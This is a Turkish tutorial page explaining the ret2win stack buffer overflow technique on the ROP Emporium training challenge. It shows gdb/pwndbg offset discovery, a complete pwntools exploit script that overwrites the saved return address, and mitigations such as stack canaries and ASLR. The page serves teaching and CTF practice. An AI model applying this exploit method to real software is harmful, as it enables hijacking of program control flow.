ret2win¶
Bir stack buffer'ı overflow'layarak saved return address'i, binary'de var olan ama hiçbir zaman meşru şekilde çağrılmayan bir "win" fonksiyonunun adresiyle overwrite et.
Mechanism¶
Note
ret2win, ROP-Emporium'un kanonik giriş seviyesi challenge'ıdır. Binary, bir
flag dosyasını açıp yazdıran bir fonksiyonla (geleneksel olarak ret2win adıyla)
gelir, ama hiçbir control-flow path'i onu çağırmaz. Invariant: bir fonksiyonun
ret instruction'ı, stack'in en üstündeki değeri körü körüne rip'e pop'lar. Eğer
bir read/gets/fread, yerel bir buffer'ın sonunu geçecek şekilde yazarsa,
buffer'ın ve saved rbp'nin hemen üzerinde duran saved return address'i overwrite
eder. O saved return address'i &ret2win ile değiştirmek, vulnerable fonksiyon
return ettiği anda execution'ı win fonksiyonuna yönlendirir. Hiç code inject
edilmez (NX-safe) — image'da zaten mevcut olan code'u yeniden kullanırsın.
Kurtarman gereken tek nicelik offset'tir: input'unun başından saved return address'e kadar olan byte cinsinden mesafe. Geri kalan her şey tek bir 8-byte (veya 4-byte) pointer'dır.
Walkthrough¶
ROP-Emporium tipik offset'leri not eder: x86-64'te saved return address'e ulaşmak için 40 byte padding, x86'da 44 byte ve ARMv5/MIPS'te ~36 byte.
1. Win fonksiyonunun adresini objdump ile bul:
2. Offset'i gdb'de (pwndbg/peda) bir cyclic pattern ile doğrula:
gdb ./ret2win
pwndbg> cyclic 60
aaaabaaacaaadaaaeaaaf...
pwndbg> run # paste the pattern at the prompt
# Program received signal SIGSEGV
pwndbg> cyclic -l faaa # the 4 bytes now in rsp / control of rip
40
Challenge sayfasından hızlı-ve-kirli bir alternatif: kernel ring buffer'ını
sudo dmesg -C ile temizle, 40 karakter ardından 5 büyük X gönder, sonra
dmesg'i kontrol et — faulting address 0x...5858585858 içerecek, bu da return
address'in offset 40'tan başladığını doğrular.
3. Exploit'i pwntools ile kur:
from pwn import *
elf = ELF('./ret2win')
io = process('./ret2win')
payload = b'A' * 40 # padding to saved RIP
payload += p64(elf.sym['ret2win']) # overwrite saved return address
io.sendline(payload)
io.interactive() # ret2win() prints the flag
Warning
x86-64'te ret2win fonksiyonu stack'e karşı push rbp yapabilir / movaps
kullanabilir; eğer içeride crash olursa (bir movaps alignment fault'u), call'dan
önce rsp'yi 16-byte boundary'ye yeniden hizalamak için başa tek bir ret
gadget'ı ekle.
Mitigation¶
- Buffer ile saved return address arasına yerleştirilen bir stack canary,
overwrite'ı fonksiyon epilogue'unda tespit eder ve
ret'ten önce abort eder. - Referans verilmeyen win fonksiyonu olmadan derlemek (dead-code elimination)
hedefi ortadan kaldırır —
ret2winesasen bir öğretim artefaktıdır. - Genel stack-overflow hardening'i geçerlidir: kök neden için
stack-buffer-overflow ve
ASLR'ye bak (
ret2winbinary'leri non-PIE olarak ASLR'yi devre dışı bırakır, böylece win address statik kalır).